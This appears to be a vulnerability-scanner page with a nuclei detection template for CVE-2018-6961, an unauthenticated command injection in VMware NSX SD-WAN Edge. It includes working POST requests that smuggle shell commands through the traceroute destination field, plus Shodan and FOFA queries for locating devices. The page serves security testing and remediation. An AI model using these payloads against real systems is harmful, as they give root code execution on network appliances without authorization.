CVE-2018-6961· vmware / nsx sd-wan edge· CWE-78
VMware NSX SD-WAN Edge - Command Injection
Exploited in the wild. Listed by CISA on 2022-03-25; known to be used by ransomware.
criticalseverity
8.1CVSS score
85.5%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it
VMware NSX SD-WAN Edge (formerly VeloCloud Edge) before 3.1.2 contains an unauthenticated command injection in the local web UI diagnostic tools (Ping/Traceroute). This template detects it reliably by injecting 'id', 'whoami', and a random marker.
Impact
Successful exploitation allows unauthenticated remote code execution as root.
Fix
Upgrade to VMware SD-WAN Edge version 3.1.2 or later (diagnostic web UI component removed).
How to confirm it
Send: POST /scripts/ajaxPortal.lua
Positive when: status_code == 200 and contains(body, "\"status\":\"OK") and contains(content_type, "application/json") AND regex('uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)', body) or regex('uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)', body) && contains(body, '{{rand}}') AND not contains "UNKNOWN_COMMAND" or "Invalid command"Run it with nuclei: nuclei -id CVE-2018-6961 -u <target>
The full check
id: CVE-2018-6961
info:
name: VMware NSX SD-WAN Edge - Command Injection
author: D3nverNg,thewindghost
severity: critical
description: |
VMware NSX SD-WAN Edge (formerly VeloCloud Edge) before 3.1.2 contains an unauthenticated command injection in the local web UI diagnostic tools (Ping/Traceroute). This template detects it reliably by injecting 'id', 'whoami', and a random marker.
impact: |
Successful exploitation allows unauthenticated remote code execution as root.
remediation: |
Upgrade to VMware SD-WAN Edge version 3.1.2 or later (diagnostic web UI component removed).
reference:
- https://www.vmware.com/security/advisories/VMSA-2018-0011.html
- https://www.exploit-db.com/exploits/44959
- https://nvd.nist.gov/vuln/detail/CVE-2018-6961
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.1
cve-id: CVE-2018-6961
epss-score: 0.85459
epss-percentile: 0.99724
cwe-id: CWE-78
metadata:
verified: true
max-request: 2
vendor: vmware
product: nsx_sd-wan_edge
shodan-query: title:"VeloCloud"
fofa-query: title="VeloCloud"
tags: cve,cve2018,vmware,nsx,sd-wan,velocloud,rce,kev,vkev,vuln
variables:
rand: "{{rand_text_alphanumeric(10)}}"
http:
- raw:
- |
POST /scripts/ajaxPortal.lua HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
destination=8.8.8.8`id`&source=ge1&test=TRACEROUTE&requestTimeout=900&auth_token=&_cmd=run_diagnostic
- |
POST /scripts/ajaxPortal.lua HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
destination=8.8.8.8$(id;echo {{rand}})&source=ge1&test=TRACEROUTE&requestTimeout=900&auth_token=&_cmd=run_diagnostic
stop-at-first-match: true
matchers-condition: and
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "\"status\":\"OK")'
- 'contains(content_type, "application/json")'
condition: and
- type: dsl
dsl:
- "regex('uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)', body)"
- "regex('uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)', body) && contains(body, '{{rand}}')"
condition: or
- type: word
part: body
words:
- "UNKNOWN_COMMAND"
- "Invalid command"
negative: trueReferences
- https://www.vmware.com/security/advisories/VMSA-2018-0011.html
- https://www.exploit-db.com/exploits/44959
- https://nvd.nist.gov/vuln/detail/CVE-2018-6961
Use this check only on systems you are authorised to test. Where the data comes from